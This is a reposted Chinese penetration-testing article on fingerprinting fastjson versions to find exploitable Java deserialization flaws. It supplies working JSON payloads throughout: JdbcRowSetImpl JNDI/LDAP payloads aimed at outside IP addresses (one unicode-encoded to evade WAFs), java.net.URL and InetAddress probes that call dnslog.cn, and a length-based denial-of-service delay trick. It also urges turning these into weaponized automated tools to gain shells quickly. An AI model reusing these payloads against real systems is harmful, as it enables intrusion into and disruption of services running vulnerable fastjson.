标签：fastjson dnslog java cn 版本号 序列化 type POC

判断漏洞是否存在，无非是以下几种方法：

1 显错判断

想办法使服务器组件抛出异常，也就是报错，在报错中得到我们想要的信息。

2 DNS请求判断

想办法触发一个DNS请求，前提是服务器出网，并且外围设备开放了DNS协议，然后你的dnslog服务地址没被监控设备拦截；

3 TCP、UDP端口请求判断

这里不止一个人问过我，用DNS请求直接判断就可以了，为啥还得用端口来判断呢？这里我举一个例子，如果一个内网机器，它没配DNS的话，然后机器又是出网的，dnslog是收不到请求的，那么只能TCP或者UDP来判断了，这种情况我遇到过好几次了）。

4 延迟判断

想办法使其触发一个延迟。可以执行Java的sleep代码，可以像mysql注入那样计算一个公式bench.mark(5000000,m.d5( 'test' ))，也可以发起一个轻微的DoS请求。5、其它方法，比较少见，而且不适用于本次fastjson漏洞检测，这里就不具体叙述了。

延迟判断

1 jndi请求延迟

首先看这个payload，适用于1.2.47之前版本的fastjson，这里面有一个小技巧，访问一个不常见的外网IP地址，会延迟几秒，访问一个内网地址127.0.0.1 会瞬间返回，那么证明这个POC可用，也间接证明fastjson版本是1.2.47之前的版本。那么在不出网的情况下，可以借助这个POC的延迟效果，知道目标fastjson是<=1.2.47的，进而可以花时间和精力去构造POC实现回显，或者直接打一个内存马。

以下是一个经过unicode编码的payload，一定程度上可以绕过一些waf，后续更多的fastjson绕waf方法，会专门写一篇文章讲解。

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://11.111.22.222/test111","autoCommit":true}}

源码：
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://11.111.22.222/test111","autoCommit":true}}

以下这个POC延迟，证明fastjson版本号1.1.16<=version<=1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://137.30.0.1:9999/POC","autoCommit":true}}

2 DOS漏洞触发延迟

这个POC来自于浅蓝，POC中的aaa的长度越长，触发延迟效果越明显，如果有延迟效果，那么证明fastjson版本<=1.2.59，间接证明fastjson版本<=1.2.68，这个非常重要，这说明，这个fastjson是有可能拿下权限的，值得我们在实战中花很多精力去研究它。

注：此POC慎用，不确定是否会影响业务系统，我一般实战中，是逐步增加a的数量的，切不可生搬硬套，输入一大堆a

显错判断

这个方法来自于浅蓝，两个POC如下，提交一下两个POC，会抛出异常，有时候会显示出fastjson版本号来。

1. {"@type": "java.lang.AutoCloseable"
2. ["test":1] 
3. 输入一些乱码字符，让web应用报错，有时候也会带出来版本号。

第2个POC成功率不高，但是实战中成功过几次。

DNS请求判断

我曾经搭建了不同的fastjson漏洞环境，发现网上很多文章对于各种fastjson漏洞dnslog payload与fastjson版本号的对应描述都不准确，很多还是有错误的。这里我发出自己校勘的结果，不一定准确，仅供大家参考。

以下POC出网，说明fastjson<=1.2.47

{"name":{"@type":"java.net.InetAddress","val":"1247.xxxxx.dnslog.cn"}}

以下这个POC出网，说明fastjson>=1.2.37

{{"@type":"java.net.URL","val":"http://weffewfddd.dnslog.cn"}:"aaa"}

以下这个POC出网，证明fastjson版本号1.1.16<=version<=1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxxdsf.dnslog.cn:9999/POC","autoCommit":true}}

以下这几个POC，只能证明fastjson出网，无法判断fastjson是否存在反序列化漏洞，因为最新的打了补丁的fastjson也是能发起DNS请求的。这是很多新手，误以为能DNS出网，就认为存在fastjson漏洞，这是不正确的。

{"@type":"java.net.Inet6Address","val":"sdffsd.dnslog.cn"}

{"@type":"java.net.Inet4Address","val":"xxxxx.dnslog.cn"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}

以下这个POC比较不错，是之前从天眼设备上抓到的，实战中用一用会有意想不到的效果。

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://allmet.dnslog.cn"}}""}

Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}]

Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}

{{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}:0

总结

1. 把以上的各种方法组合起来判断，写一个自动化fuzz工具，基本上大致可以判断出fastjson版本号的区间了，以便我们在实战中对症下药，快速拿下权限。

2. 上述的这些过程，部分同学可能无法理解，这么费心思的去判断fastjson版本号的意义何在？台上一分钟，台下十年功，这样的总结为的就是在实战中快速拿下权限，否则一次比赛3、4天，怼一个fastjson用了大半天时间，发现人家的版本是最新的，岂不白费功夫。还有可能一个fastjson反序列化漏洞，我们搞不定，但是发现别人搞定了，最后一咨询发现是POC是1.2.68的写文件拿下来的，但是我们却以为是最新版本，没有去尝试。

3. 还有很多POC可以用于fastjson版本判断，篇幅有限，就不一一列举了。大家可以按照上述思路自己总结出一套方法，做成小脚本或自动化工具，向工具化、武器化、自动化、平台化迈进！就很容易在实战中得到fastsjon版本号的区间，快速进行漏洞研判了。

4. 以上叙述如果有错误，欢迎大家批评指正。

文章来源：https://mp.weixin.qq.com/s/iSS-dj84Ck34CapHDPKY6g

标签：fastjson,dnslog,java,cn,版本号,序列化,type,POC
来源： https://www.cnblogs.com/forforever/p/16537846.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。